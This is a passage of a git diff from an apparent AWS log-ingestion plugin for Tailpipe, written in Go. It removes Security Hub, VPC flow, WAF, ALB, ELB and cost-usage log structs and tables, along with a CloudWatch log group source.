parquet:"name=management_event"` - ReadOnly bool `json:"readOnly" parquet:"name=read_only"` - RecipientAccountID *string `json:"recipientAccountId" parquet:"name=recipient_account_id"` - RequestID *string `json:"requestID" parquet:"name=request_id"` - RequestParameters *map[string]interface{} `json:"requestParameters" parquet:"name=request_parameters, type=JSON"` - ResponseElements *map[string]interface{} `json:"responseElements" parquet:"name=response_elements, type=JSON"` - SourceIPAddress *string `json:"sourceIPAddress" parquet:"name=source_ip_address"` - UserAgent *string `json:"userAgent" parquet:"name=user_agent"` - UserIdentity SecurityHubUserIdentity `json:"userIdentity" parquet:"name=user_identity, type=JSON"` -} - -// Finding maps the individual findings in the detail -type Finding struct { - ProductArn *string `json:"ProductArn,omitempty"` - Types []*string `json:"Types,omitempty"` - Description *string `json:"Description,omitempty"` - Compliance *Compliance `json:"Compliance,omitempty"` - ProductName *string `json:"ProductName,omitempty"` - FirstObservedAt *time.Time `json:"FirstObservedAt,omitempty"` - CreatedAt *time.Time `json:"CreatedAt,omitempty"` - LastObservedAt *time.Time `json:"LastObservedAt,omitempty"` - CompanyName *string `json:"CompanyName,omitempty"` - FindingProviderFields *FindingProviderFields `json:"FindingProviderFields,omitempty"` - ProductFields map[string]string `json:"ProductFields,omitempty"` - Remediation *Remediation `json:"Remediation,omitempty"` - SchemaVersion *string `json:"SchemaVersion,omitempty"` - GeneratorId *string `json:"GeneratorId,omitempty"` - RecordState *string `json:"RecordState,omitempty"` - Title *string `json:"Title,omitempty"` - Workflow *Workflow `json:"Workflow,omitempty"` - Severity *Severity `json:"Severity,omitempty"` - UpdatedAt *time.Time `json:"UpdatedAt,omitempty"` - WorkflowState *string `json:"WorkflowState,omitempty"` - AwsAccountId *string `json:"AwsAccountId,omitempty"` - Region *string `json:"Region,omitempty"` - Id *string `json:"Id,omitempty"` - Resources []*FindingResource `json:"Resources,omitempty"` - ProcessedAt *time.Time `json:"ProcessedAt,omitempty"` -} - -// Supporting structs for nested fields -type Compliance struct { - Status *string `json:"Status,omitempty"` - SecurityControlId *string `json:"SecurityControlId,omitempty"` - AssociatedStandards []*AssociatedStandard `json:"AssociatedStandards,omitempty"` - SecurityControlParameters []*SecurityControlParameter `json:"SecurityControlParameters,omitempty"` -} - -type AssociatedStandard struct { - StandardsId *string `json:"StandardsId,omitempty"` -} - -type SecurityControlParameter struct { - Value []string `json:"Value,omitempty"` - Name *string `json:"Name,omitempty"` -} - -type FindingProviderFields struct { - Types []*string `json:"Types,omitempty"` - Severity *Severity `json:"Severity,omitempty"` -} - -type Remediation struct { - Recommendation *Recommendation `json:"Recommendation,omitempty"` -} - -type Recommendation struct { - Text *string `json:"Text,omitempty"` - Url *string `json:"Url,omitempty"` -} - -type Workflow struct { - Status *string `json:"Status,omitempty"` -} - -type Severity struct { - Normalized *int `json:"Normalized,omitempty"` - Label *string `json:"Label,omitempty"` - Original *string `json:"Original,omitempty"` -} - -type FindingResource struct { - Partition *string `json:"Partition,omitempty"` - Type *string `json:"Type,omitempty"` - Details *ResourceDetails `json:"Details,omitempty"` - Region *string `json:"Region,omitempty"` - Id *string `json:"Id,omitempty"` -} - -type ResourceDetails struct { - AwsLambdaFunction *AwsLambdaFunction `json:"AwsLambdaFunction,omitempty"` -} - -type AwsLambdaFunction struct { - LastModified *time.Time `json:"LastModified,omitempty"` - Role *string `json:"Role,omitempty"` - FunctionName *string `json:"FunctionName,omitempty"` - MemorySize *int `json:"MemorySize,omitempty"` - Runtime *string `json:"Runtime,omitempty"` - TracingConfig *TracingConfig `json:"TracingConfig,omitempty"` - Version *string `json:"Version,omitempty"` - Timeout *int `json:"Timeout,omitempty"` - Handler *string `json:"Handler,omitempty"` - CodeSha256 *string `json:"CodeSha256,omitempty"` - RevisionId *string `json:"RevisionId,omitempty"` -} - -type TracingConfig struct { - Mode *string `json:"Mode,omitempty"` -} - -type SecurityHubUserIdentity struct { - AccessKeyID *string `json:"accessKeyId"` - AccountID *string `json:"accountId"` - Arn *string `json:"arn"` - PrincipalID *string `json:"principalId"` - SessionContext SecurityHubSessionContext `json:"sessionContext"` - Type *string `json:"type"` -} - -type SecurityHubSessionContext struct { - Attributes Attributes `json:"attributes"` - SessionIssuer SecurityHubSessionIssuer `json:"sessionIssuer"` -} - -type Attributes struct { - CreationDate time.Time `json:"creationDate"` - MfaAuthenticated *string `json:"mfaAuthenticated"` -} - -type SecurityHubSessionIssuer struct { - AccountID string `json:"accountId"` - Arn string `json:"arn"` - PrincipalID string `json:"principalId"` - Type string `json:"type"` - UserName string `json:"userName"` -} diff --git a/rows/vpc_flow_log.go b/rows/vpc_flow_log.go deleted file mode 100644 index 369691c2..00000000 --- a/rows/vpc_flow_log.go +++ /dev/null @@ -1,53 +0,0 @@ -package rows - -import ( - "time" - - "github.com/turbot/tailpipe-plugin-sdk/schema" -) - -type VpcFlowLog struct { - // embed required enrichment fields - schema.CommonFields - - Timestamp *time.Time `json:"timestamp,omitempty"` - Version *int32 `json:"version,omitempty"` - AccountID *string `json:"account_id,omitempty"` - InterfaceID *string `json:"interface_id,omitempty"` - SrcAddr *string `json:"src_addr,omitempty"` - DstAddr *string `json:"dst_addr,omitempty"` - SrcPort *int32 `json:"src_port,omitempty"` - DstPort *int32 `json:"dst_port,omitempty"` - Protocol *int32 `json:"protocol,omitempty"` - Packets *int64 `json:"packets,omitempty"` - Bytes *int64 `json:"bytes,omitempty"` - Start *int64 `json:"start,omitempty"` - End *int64 `json:"end,omitempty"` - Action *string `json:"action,omitempty"` - LogStatus *string `json:"log_status,omitempty"` - VPCID *string `json:"vpc_id,omitempty"` - SubnetID *string `json:"subnet_id,omitempty"` - InstanceID *string `json:"instance_id,omitempty"` - TCPFlags *int32 `json:"tcp_flags,omitempty"` - Type *string `json:"type,omitempty"` - PktSrcAddr *string `json:"pkt_src_addr,omitempty"` - PktDstAddr *string `json:"pkt_dst_addr,omitempty"` - Region *string `json:"region,omitempty"` - AzID *string `json:"az_id,omitempty"` - SublocationType *string `json:"sublocation_type,omitempty"` - SublocationID *string `json:"sublocation_id,omitempty"` - PktSrcAWSService *string `json:"pkt_src_aws_service,omitempty"` - PktDstAWSService *string `json:"pkt_dst_aws_service,omitempty"` - FlowDirection *string `json:"flow_direction,omitempty"` - TrafficPath *int32 `json:"traffic_path,omitempty"` - ECSClusterARN *string `json:"ecs_cluster_arn,omitempty"` - ECSClusterName *string `json:"ecs_cluster_name,omitempty"` - ECSContainerInstanceARN *string `json:"ecs_container_instance_arn,omitempty"` - ECSContainerInstanceID *string `json:"ecs_container_instance_id,omitempty"` - ECSContainerID *string `json:"ecs_container_id,omitempty"` - ECSSecondContainerID *string `json:"ecs_second_container_id,omitempty"` - ECSServiceName *string `json:"ecs_service_name,omitempty"` - ECSTaskDefinitionARN *string `json:"ecs_task_definition_arn,omitempty"` - ECSTaskARN *string `json:"ecs_task_arn,omitempty"` - ECSTaskID *string `json:"ecs_task_id,omitempty"` -} diff --git a/rows/waf_traffic_log.go b/rows/waf_traffic_log.go deleted file mode 100644 index b1098039..00000000 --- a/rows/waf_traffic_log.go +++ /dev/null @@ -1,43 +0,0 @@ -package rows - -import ( - "time" - - "github.com/turbot/tailpipe-plugin-sdk/schema" -) - -// Define a nested struct for httpRequest headers -type Header struct { - Name string `json:"name,omitempty"` - Value string `json:"value,omitempty"` -} - -// Define a nested struct for the httpRequest field -type HttpRequest struct { - ClientIp *string `json:"client_ip,omitempty"` - Country *string `json:"country,omitempty"` - Headers *[]Header `json:"headers,omitempty" parquet:"type=JSON"` - Uri *string `json:"uri,omitempty"` - Args *string `json:"args,omitempty"` - HttpVersion *string `json:"http_version,omitempty"` - HttpMethod *string `json:"http_method,omitempty"` - RequestId *string `json:"request_id,omitempty"` -} - -// WafTrafficLog struct with fields aligned to the provided JSON -type WafTrafficLog struct { - schema.CommonFields - - Timestamp *time.Time `json:"timestamp,omitempty"` - FormatVersion *int32 `json:"format_version,omitempty"` - WebAclId *string `json:"web_acl_id,omitempty"` - TerminatingRuleId *string `json:"terminating_rule_id,omitempty"` - TerminatingRuleType *string `json:"terminating_rule_type,omitempty"` - Action *string `json:"action,omitempty"` - HttpSourceName *string `json:"http_source_name,omitempty"` - HttpSourceId *string `json:"http_source_id,omitempty"` - RuleGroupList []string `json:"rule_group_list,omitempty"` - RateBasedRuleList []string `json:"rate_based_rule_list,omitempty"` - NonTerminatingMatchingRules []string `json:"non_terminating_matching_rules,omitempty"` - HttpRequest *HttpRequest `json:"http_request,omitempty"` -} diff --git a/sources/cloudwatch_log_group_collection_state.go b/sources/cloudwatch_log_group_collection_state.go deleted file mode 100644 index c5d4cfdf..00000000 --- a/sources/cloudwatch_log_group_collection_state.go +++ /dev/null @@ -1,175 +0,0 @@ -package sources - -import ( - "encoding/json" - "fmt" - "github.com/turbot/tailpipe-plugin-sdk/collection_state" - "log/slog" - "os" - "sync" - "time" -) - -// AwsCloudwatchCollectionState contains collection state data for the AwsCloudwatchSource artifact source -// This contains the latest timestamp fetched for each log stream in a SINGLE log group -type AwsCloudwatchCollectionState struct { - // The timestamp of the last collected log for each log stream - // expressed as the number of milliseconds after Jan 1, 1970 00:00:00 UTC. - LogStreamTimestamps map[string]time.Time `json:"timestamps"` - - // path to the serialised collection state JSON - jsonPath string - lastModifiedTime time.Time - lastSaveTime time.Time - - mut *sync.RWMutex -} - -func NewAwsCloudwatchCollectionState() collection_state.CollectionState[*AwsCloudWatchSourceConfig] { - return &AwsCloudwatchCollectionState{ - LogStreamTimestamps: make(map[string]time.Time), - mut: &sync.RWMutex{}, - } -} - -func (s *AwsCloudwatchCollectionState) Init(_ *AwsCloudWatchSourceConfig, path string) error { - s.jsonPath = path - - // if there is a file at the path, load it - if _, err := os.Stat(path); err == nil { - // TODO #err should we just warn and delete/rename the file - // read the file - jsonBytes, err := os.ReadFile(path) - if err != nil { - return fmt.Errorf("failed to read collection state file '%s': %w", path, err) - } - err = json.Unmarshal(jsonBytes, s) - if err != nil { - return fmt.Errorf("failed to unmarshal collection state file '%s': %w", path, err) - } - } - return nil -} - -func (s *AwsCloudwatchCollectionState) Save() error { - s.mut.Lock() - defer s.mut.Unlock() - - // if the last save time is after the last modified time, then we have nothing to do - if s.lastSaveTime.After(s.lastModifiedTime) { - slog.Info("collection state has not been modified since last save") - // nothing to do - return nil - } - slog.Info("Saving collection state", "lastModifiedTime", s.lastModifiedTime, "lastSaveTime", s.lastSaveTime) - - jsonBytes, err := json.Marshal(s) - if err != nil { - return err - } - // ensure the target file path is valid - if s.jsonPath == "" { - return fmt.Errorf("collection state path is not set") - } - - // if we are empty, delete the file - if s.IsEmpty() { - err := os.Remove(s.jsonPath) - if err != nil && !os.IsNotExist(err) { - return fmt.Errorf("failed to delete collection state file: %w", err) - } - return nil - } - - // write the JSON data to the file, overwriting any existing data - err = os.WriteFile(s.jsonPath, jsonBytes, 0644) - if err != nil { - return fmt.Errorf("failed to write collection state to file: %w", err) - } - - // update the last save time - s.lastSaveTime = time.Now() - - return nil -} - -func (s *AwsCloudwatchCollectionState) ShouldCollect(id string, timestamp time.Time) bool { - s.mut.Lock() - defer s.mut.Unlock() - - // get timestamp for this log stream - logStreamTime := s.LogStreamTimestamps[id] - - // if this timestamp is after the latest timestamp we have stored, we SHOULD collect - return timestamp.After(logStreamTime) -} - -func (s *AwsCloudwatchCollectionState) OnCollected(id string, timestamp time.Time) error { - s.mut.Lock() - defer s.mut.Unlock() - - // store modified time to ensure we save the state - s.lastModifiedTime = time.Now() - - logStreamTime := s.LogStreamTimestamps[id] - if timestamp.After(logStreamTime) { - s.LogStreamTimestamps[id] = timestamp - } - return nil -} - -// GetStartTime returns the latest start time of all the log streams -func (s *AwsCloudwatchCollectionState) GetStartTime() time.Time { - // find the earliest end time of all the log streams - var startTime time.Time - for _, timestamp := range s.LogStreamTimestamps { - if startTime.IsZero() || timestamp.After(startTime) { - startTime = timestamp - } - } - - return startTime -} - -// GetEndTime returns the earliest end time of all the log streams -// (not currently used as the Cloudwatch source retrieves the end time for the specific log stream ) -func (s *AwsCloudwatchCollectionState) GetEndTime() time.Time { - // find the earliest end time of all the log streams - var endTime time.Time - for _, timestamp := range s.LogStreamTimestamps { - if endTime.IsZero() || timestamp.Before(endTime) { - endTime = timestamp - } - } - - return endTime -} - -func (s *AwsCloudwatchCollectionState) SetEndTime(newEndTime time.Time) { - for id := range s.LogStreamTimestamps { - if s.LogStreamTimestamps[id].After(newEndTime) { - s.LogStreamTimestamps[id] = newEndTime - } - } -} - -func (s *AwsCloudwatchCollectionState) Clear() { - s.mut.Lock() - defer s.mut.Unlock() - - s.LogStreamTimestamps = make(map[string]time.Time) -} - -func (s *AwsCloudwatchCollectionState) IsEmpty() bool { - return len(s.LogStreamTimestamps) == 0 -} - -func (s *AwsCloudwatchCollectionState) GetGranularity() time.Duration { - // this will never be called - we do not use granularity for this source - // however - return the 'correct' value to avoid confusion - return time.Nanosecond -} - -func (s *AwsCloudwatchCollectionState) SetGranularity(time.Duration) { - // do nothing - this should not be called -} diff --git a/sources/cloudwatch_log_group_source.go b/sources/cloudwatch_log_group_source.go deleted file mode 100644 index cfa36a3a..00000000 --- a/sources/cloudwatch_log_group_source.go +++ /dev/null @@ -1,211 +0,0 @@ -package sources - -import ( - "context" - "fmt" - "log/slog" - "time" - - "github.com/aws/aws-sdk-go-v2/aws" - "github.com/aws/aws-sdk-go-v2/service/cloudwatchlogs" - cwtypes "github.com/aws/aws-sdk-go-v2/service/cloudwatchlogs/types" - - typehelpers "github.com/turbot/go-kit/types" - "github.com/turbot/tailpipe-plugin-aws/config" - "github.com/turbot/tailpipe-plugin-sdk/row_source" - "github.com/turbot/tailpipe-plugin-sdk/schema" - "github.com/turbot/tailpipe-plugin-sdk/types" -) - -const AwsCloudwatchSourceIdentifier = "aws_cloudwatch_log_group" - -// register the source from the package init function -func init() { - row_source.RegisterRowSource[*AwsCloudWatchSource]() -} - -// AwsCloudWatchSource is responsible for collection of events from log streams within a log group in AWS CloudWatch -type AwsCloudWatchSource struct { - row_source.RowSourceImpl[*AwsCloudWatchSourceConfig, *config.AwsConnection] - - client *cloudwatchlogs.Client -} - -func (s *AwsCloudWatchSource) Init(ctx context.Context, params *row_source.RowSourceParams, opts ...row_source.RowSourceOption) error { - - // set the collection state ctor - s.NewCollectionStateFunc = NewAwsCloudwatchCollectionState - - // call base init to set config/connection - err := s.RowSourceImpl.Init(ctx, params, opts...) - if err != nil { - return fmt.Errorf("failed to init %s source, %w", AwsCloudwatchSourceIdentifier, err) - } - - // initialize client - client, err := s.getClient(ctx) - if err != nil { - return err - } - s.client = client - - return nil -} - -func (s *AwsCloudWatchSource) Identifier() string { - return AwsCloudwatchSourceIdentifier -} - -func (s *AwsCloudWatchSource) Collect(ctx context.Context) error { - collectionState := s.CollectionState.(*AwsCloudwatchCollectionState) - - // obtain log streams which have active events in the time range - logStreamCollection, err := s.collectLogStreams(ctx, s.Config.LogGroupName, s.Config.LogStreamPrefix, collectionState) - if err != nil { - return fmt.Errorf("failed to collect log streams, %w", err) - } - - // collect events from each log stream - for _, ls := range logStreamCollection { - sourceEnrichmentFields := &schema.SourceEnrichment{ - CommonFields: schema.CommonFields{ - TpSourceType: AwsCloudwatchSourceIdentifier, - TpSourceName: &s.Config.LogGroupName, - TpSourceLocation: ls.LogStream.LogStreamName, - }, - } - - if ls.StartTime >= ls.EndTime { - slog.Warn("log stream %s has invalid time range, skipping", ls.LogStream.LogStreamName) - continue - } - - // To ensure smoother execution, we have set the value to 7000, even though the maximum allowable limit is 10000. - // https://docs.aws.amazon.com/AmazonCloudWatchLogs/latest/APIReference/API_GetLogEvents.html#API_GetLogEvents_RequestSyntax - var pageSize int32 = 7000 - var nextToken *string - - input := &cloudwatchlogs.GetLogEventsInput{ - LogGroupName: &s.Config.LogGroupName, - LogStreamName: ls.LogStream.LogStreamName, - StartFromHead: aws.Bool(true), - StartTime: &ls.StartTime, - EndTime: &ls.EndTime, - Limit: &pageSize, - } - - paginator := cloudwatchlogs.NewGetLogEventsPaginator(s.client, input) - for paginator.HasMorePages() { - var output *cloudwatchlogs.GetLogEventsOutput - output, err = paginator.NextPage(ctx) - if err != nil { - return fmt.Errorf("failed to get log events, %w", err) - } - - for _, event := range output.Events { - if event.Message == nil || *event.Message == "" { - continue - } - row := &types.RowData{ - Data: event.Message, - SourceEnrichment: sourceEnrichmentFields, - } - - // update collection state - // build time from unix mill - unixMillis := *event.Timestamp - timestamp := time.Unix(0, unixMillis*int64(time.Millisecond)) - - err := collectionState.OnCollected(*ls.LogStream.LogStreamName, timestamp) - if err != nil { - return fmt.Errorf("failed to update collection state, %w", err) - } - - if err := s.OnRow(ctx, row); err != nil { - return fmt.Errorf("error processing row: %w", err) - } - } - - if nextToken != nil && output.NextForwardToken != nil && *nextToken == *output.NextForwardToken { - break - } - - nextToken = output.NextForwardToken - } - } - - return nil -} - -func (s *AwsCloudWatchSource) collectLogStreams(ctx context.Context, logGroupName string, logStreamPrefix *string, collectionState *AwsCloudwatchCollectionState) ([]logStreamsToCollect, error) { - var logStreams []logStreamsToCollect - var nextToken *string - - for { - input := &cloudwatchlogs.DescribeLogStreamsInput{ - LogGroupName: &logGroupName, - LogStreamNamePrefix: logStreamPrefix, - NextToken: nextToken, - } - - output, err := s.client.DescribeLogStreams(ctx, input) - if err != nil { - return nil, fmt.Errorf("failed to describe log streams, %w", err) - } - - for _, logStream := range output.LogStreams { - streamName := typehelpers.StringValue(logStream.LogStreamName) - start, end := s.getTimeRange(streamName, collectionState) - if s.logStreamHasEntriesInTimeRange(logStream, start, end) { - logStreams = append(logStreams, logStreamsToCollect{LogStream: logStream, StartTime: start, EndTime: end}) - } - } - - if output.NextToken == nil { - break - } - nextToken = output.NextToken - } - - return logStreams, nil -} - -func (s *AwsCloudWatchSource) logStreamHasEntriesInTimeRange(logStream cwtypes.LogStream, startTime, endTime int64) bool { - if logStream.LastIngestionTime == nil || logStream.FirstEventTimestamp == nil { - return false - } - if startTime >= endTime { - return false - } - return *logStream.LastIngestionTime > startTime && *logStream.FirstEventTimestamp < endTime -} - -// use the collection state data (if present) and the configured time range to determine the start and end time -func (s *AwsCloudWatchSource) getTimeRange(logStream string, collectionState *AwsCloudwatchCollectionState) (int64, int64) { - startTime := s.FromTime.UnixMilli() - endTime := time.Now().UnixMilli() - - if collectionState != nil { - // set start time from collection state data if present - if prevTimestamp, ok := collectionState.LogStreamTimestamps[logStream]; ok { - return prevTimestamp.Add(time.Microsecond).UnixMilli(), endTime - } - } - return startTime, endTime -} - -func (s *AwsCloudWatchSource) getClient(ctx context.Context) (*cloudwatchlogs.Client, error) { - cfg, err := s.Connection.GetClientConfiguration(ctx, s.Config.Region) - if err != nil { - return nil, fmt.Errorf("failed to get client configuration, %w", err) - } - - client := cloudwatchlogs.NewFromConfig(*cfg) - return client, nil -} - -type logStreamsToCollect struct { - LogStream cwtypes.LogStream - StartTime int64 - EndTime int64 -} diff --git a/sources/cloudwatch_log_group_source_config.go b/sources/cloudwatch_log_group_source_config.go deleted file mode 100644 index 3e491608..00000000 --- a/sources/cloudwatch_log_group_source_config.go +++ /dev/null @@ -1,16 +0,0 @@ -package sources - -// AwsCloudWatchSourceConfig is the configuration for an [AwsCloudWatchSource] -type AwsCloudWatchSourceConfig struct { - LogGroupName string `hcl:"log_group_name"` - LogStreamPrefix *string `hcl:"log_stream_prefix"` - Region *string `hcl:"region"` -} - -func (c *AwsCloudWatchSourceConfig) Validate() error { - return nil -} - -func (c *AwsCloudWatchSourceConfig) Identifier() string { - return AwsCloudwatchSourceIdentifier -} diff --git a/tables/alb_access_log_table.go b/tables/alb_access_log_table.go deleted file mode 100644 index db6430b3..00000000 --- a/tables/alb_access_log_table.go +++ /dev/null @@ -1,95 +0,0 @@ -package tables - -import ( - "time" - - "github.com/rs/xid" - - "github.com/turbot/pipe-fittings/utils" - "github.com/turbot/tailpipe-plugin-aws/rows" - "github.com/turbot/tailpipe-plugin-aws/sources" - "github.com/turbot/tailpipe-plugin-sdk/artifact_source" - "github.com/turbot/tailpipe-plugin-sdk/artifact_source_config" - "github.com/turbot/tailpipe-plugin-sdk/constants" - "github.com/turbot/tailpipe-plugin-sdk/mappers" - "github.com/turbot/tailpipe-plugin-sdk/row_source" - "github.com/turbot/tailpipe-plugin-sdk/schema" - "github.com/turbot/tailpipe-plugin-sdk/table" -) - -const AlbAccessLogTableIdentifier = "aws_alb_access_log" - -const albLogFormat = `$type $timestamp $alb $client $target $request_processing_time $target_processing_time $response_processing_time $alb_status_code $target_status_code $received_bytes $sent_bytes "$request" "$user_agent" $ssl_cipher $ssl_protocol $target_group_arn "$trace_id" "$domain_name" "$chosen_cert_arn" $matched_rule_priority $request_creation_time "$actions_executed" "$redirect_url" "$error_reason" "$target_list" "$target_status_list" "$classification" "$classification_reason" $conn_trace_id` -const albLogFormatNoConnTrace = `$type $timestamp $alb $client $target $request_processing_time $target_processing_time $response_processing_time $alb_status_code $target_status_code $received_bytes $sent_bytes "$request" "$user_agent" $ssl_cipher $ssl_protocol $target_group_arn "$trace_id" "$domain_name" "$chosen_cert_arn" $matched_rule_priority $request_creation_time "$actions_executed" "$redirect_url" "$error_reason" "$target_list" "$target_status_list" "$classification" "$classification_reason"` - -func init() { - // Register the table, with type parameters: - // 1. row struct - // 2. table config struct - // 3. table implementation - table.RegisterTable[*rows.AlbAccessLog, *AlbAccessLogTable]() -} - -type AlbAccessLogTable struct{} - -func (c *AlbAccessLogTable) GetSourceMetadata() []*table.SourceMetadata[*rows.AlbAccessLog] { - defaultS3ArtifactConfig := &artifact_source_config.ArtifactSourceConfigImpl{ - FileLayout: utils.ToStringPointer("AWSLogs/(%{DATA:org_id}/)?%{NUMBER:account_id}/elasticloadbalancing/%{DATA:region}/%{YEAR:year}/%{MONTHNUM:month}/%{MONTHDAY:day}/%{DATA}.log"), - } - - return []*table.SourceMetadata[*rows.AlbAccessLog]{ - { - // S3 artifact source - SourceName: sources.AwsS3BucketSourceIdentifier, - Mapper: mappers.NewGonxMapper[*rows.AlbAccessLog](albLogFormat, albLogFormatNoConnTrace), - Options: []row_source.RowSourceOption{ - artifact_source.WithDefaultArtifactSourceConfig(defaultS3ArtifactConfig), - artifact_source.WithRowPerLine(), - }, - }, - { - // any artifact source - SourceName: constants.ArtifactSourceIdentifier, - Mapper: mappers.NewGonxMapper[*rows.AlbAccessLog](albLogFormat, albLogFormatNoConnTrace), - Options: []row_source.RowSourceOption{ - artifact_source.WithRowPerLine(), - }, - }, - } -} - -func (c *AlbAccessLogTable) Identifier() string { - return AlbAccessLogTableIdentifier -} - -func (c *AlbAccessLogTable) EnrichRow(row *rows.AlbAccessLog, sourceEnrichmentFields schema.SourceEnrichment) (*rows.AlbAccessLog, error) { - row.CommonFields = sourceEnrichmentFields.CommonFields - - // Standard record enrichment - row.TpID = xid.New().String() - row.TpTimestamp = row.Timestamp - row.TpIngestTimestamp = time.Now() - row.TpDate = row.Timestamp.Truncate(24 * time.Hour) - - row.TpIndex = row.Alb // TODO: #enrichment figure out how to get the account id / better index - - // IP-related enrichment - if row.ClientIP != "" { - row.TpSourceIP = &row.ClientIP - row.TpIps = append(row.TpIps, row.ClientIP) - } - if row.TargetIP != nil { - row.TpDestinationIP = row.TargetIP - row.TpIps = append(row.TpIps, *row.TargetIP) - } - // Domain enrichment - if row.DomainName != "" { - row.TpDomains = append(row.TpDomains, row.DomainName) - } - - // AWS resource linking - if row.TargetGroupArn != "" { - row.TpAkas = append(row.TpAkas, row.TargetGroupArn) - } - return row, nil -} diff --git a/tables/cloudtrail_log_table.go b/tables/cloudtrail_log_table.go index 6428d6b0..bce96daf 100644 --- a/tables/cloudtrail_log_table.go +++ b/tables/cloudtrail_log_table.go @@ -8,7 +8,6 @@ import ( "github.com/turbot/pipe-fittings/utils" "github.com/turbot/tailpipe-plugin-aws/extractors" - "github.com/turbot/tailpipe-plugin-aws/mappers" "github.com/turbot/tailpipe-plugin-aws/rows" "github.com/turbot/tailpipe-plugin-aws/sources" "github.com/turbot/tailpipe-plugin-sdk/artifact_source" @@ -53,10 +52,6 @@ func (t *CloudTrailLogTable) GetSourceMetadata() []*table.SourceMetadata[*rows.C artifact_source.WithArtifactExtractor(extractors.NewCloudTrailLogExtractor()), }, }, - { - SourceName: sources.AwsCloudwatchSourceIdentifier, - Mapper: &mappers.CloudTrailMapper{}, - }, } } diff --git a/tables/cost_usage_log_table.go b/tables/cost_usage_log_table.go deleted file mode 100644 index 5e8c7d7e..00000000 --- a/tables/cost_usage_log_table.go +++ /dev/null @@ -1,84 +0,0 @@ -package tables - -import ( - "time" - - "github.com/rs/xid" - - typehelpers "github.com/turbot/go-kit/types" - "github.com/turbot/tailpipe-plugin-aws/mappers" - "github.com/turbot/tailpipe-plugin-aws/rows" - "github.com/turbot/tailpipe-plugin-sdk/artifact_source" - "github.com/turbot/tailpipe-plugin-sdk/constants" - "github.com/turbot/tailpipe-plugin-sdk/row_source" - "github.com/turbot/tailpipe-plugin-sdk/schema" - "github.com/turbot/tailpipe-plugin-sdk/table" -) - -const CostUsageLogTableIdentifier = "aws_cost_usage_log" - -func init() { - // Register the table, with type parameters: - // 1. row struct - // 2. table config struct - // 3. table implementation - table.RegisterTable[*rows.CostAndUsageLog, *CostAndUsageLogTable]() -} - -// CostAndUsageLogTable - table for CostAndUsageLogs -type CostAndUsageLogTable struct{} - -// Identifier implements table.Table -func (t *CostAndUsageLogTable) Identifier() string { - return CostUsageLogTableIdentifier -} - -func (t *CostAndUsageLogTable) GetSourceMetadata() []*table.SourceMetadata[*rows.CostAndUsageLog] { - return []*table.SourceMetadata[*rows.CostAndUsageLog]{ - { - // any artifact source - SourceName: constants.ArtifactSourceIdentifier, - Mapper: &mappers.CostAndUsageLogMapper{}, - Options: []row_source.RowSourceOption{ - artifact_source.WithRowPerLine(), artifact_source.WithSkipHeaderRow()}, - }, - } -} - -// EnrichRow implements table.Table -func (t *CostAndUsageLogTable) EnrichRow(row *rows.CostAndUsageLog, sourceEnrichmentFields schema.SourceEnrichment) (*rows.CostAndUsageLog, error) { - // initialize the enrichment fields to any fields provided by the source - row.CommonFields = sourceEnrichmentFields.CommonFields - - // Record standardization - row.TpID = xid.New().String() - row.TpIngestTimestamp = time.Now() - - // we are using the invoice date as the tp_timestamp, but we dont always get the invoice date - // so we use the BillingPeriodStartDate as a fallback - // TODO - should we use the BillingPeriodEndDate instead? - if row.InvoiceDate != nil { - row.TpTimestamp = *row.InvoiceDate - } else if row.BillingPeriodStartDate != nil { - row.TpTimestamp = *row.BillingPeriodStartDate - } else if row.BillingPeriodEndDate != nil { - row.TpTimestamp = *row.BillingPeriodEndDate - } - row.TpDate = row.TpTimestamp.Truncate(24 * time.Hour) - - // if row.PayerAccountName != nil { - // row.TpSourceIP = row.PayerAccountName - // row.TpIps = append(row.TpIps, *row.PayerAccountName) - // } - - // Hive fields - // for some rows we dont get the linked account id, so we use the payer account id as a fallback - // TODO - should we use the payer account id instead? - if accountId := typehelpers.SafeString(row.LinkedAccountId); accountId != "" { - row.TpIndex = accountId - } else { - row.TpIndex = typehelpers.SafeString(row.PayerAccountId) - } - - return row, nil -} diff --git a/tables/elb_access_log_table.go b/tables/elb_access_log_table.go deleted file mode 100644 index 1c8456e6..00000000 --- a/tables/elb_access_log_table.go +++ /dev/null @@ -1,91 +0,0 @@ -package tables - -import ( - "time" - - "github.com/rs/xid" - "github.com/turbot/pipe-fittings/utils" - "github.com/turbot/tailpipe-plugin-aws/rows" - "github.com/turbot/tailpipe-plugin-aws/sources" - "github.com/turbot/tailpipe-plugin-sdk/artifact_source" - "github.com/turbot/tailpipe-plugin-sdk/artifact_source_config" - "github.com/turbot/tailpipe-plugin-sdk/constants" - "github.com/turbot/tailpipe-plugin-sdk/mappers" - "github.com/turbot/tailpipe-plugin-sdk/row_source" - "github.com/turbot/tailpipe-plugin-sdk/schema" - "github.com/turbot/tailpipe-plugin-sdk/table" -) - -const ElbAccessLogTableIdentifier = "aws_elb_access_log" - -func init() { - // Register the table, with type parameters: - // 1. row struct - // 2. table config struct - // 3. table implementation - table.RegisterTable[*rows.ElbAccessLog, *ElbAccessLogTable]() -} - -const elbLogFormat = `$type $timestamp $elb $client $target $request_processing_time $target_processing_time $response_processing_time $elb_status_code $target_status_code $received_bytes $sent_bytes "$request" "$user_agent" $ssl_cipher $ssl_protocol $target_group_arn "$trace_id" "$domain_name" "$chosen_cert_arn" $matched_rule_priority $request_creation_time "$actions_executed" "$redirect_url" "$error_reason" "$target_list" "$target_status_list" "$classification" "$classification_reason" $conn_trace_id` -const elbLogFormatNoConnTrace = `$type $timestamp $elb $client $target $request_processing_time $target_processing_time $response_processing_time $elb_status_code $target_status_code $received_bytes $sent_bytes "$request" "$user_agent" $ssl_cipher $ssl_protocol $target_group_arn "$trace_id" "$domain_name" "$chosen_cert_arn" $matched_rule_priority $request_creation_time "$actions_executed" "$redirect_url" "$error_reason" "$target_list" "$target_status_list" "$classification" "$classification_reason"` - -type ElbAccessLogTable struct{} - -func (c *ElbAccessLogTable) Identifier() string { - return ElbAccessLogTableIdentifier -} - -func (c *ElbAccessLogTable) GetSourceMetadata() []*table.SourceMetadata[*rows.ElbAccessLog] { - defaultS3ArtifactConfig := &artifact_source_config.ArtifactSourceConfigImpl{ - FileLayout: utils.ToStringPointer("AWSLogs/(%{DATA:org_id}/)?%{NUMBER:account_id}/elasticloadbalancing/%{DATA:region}/%{YEAR:year}/%{MONTHNUM:month}/%{MONTHDAY:day}/%{DATA}.log"), - } - - return []*table.SourceMetadata[*rows.ElbAccessLog]{ - { - // S3 artifact source - SourceName: sources.AwsS3BucketSourceIdentifier, - Mapper: 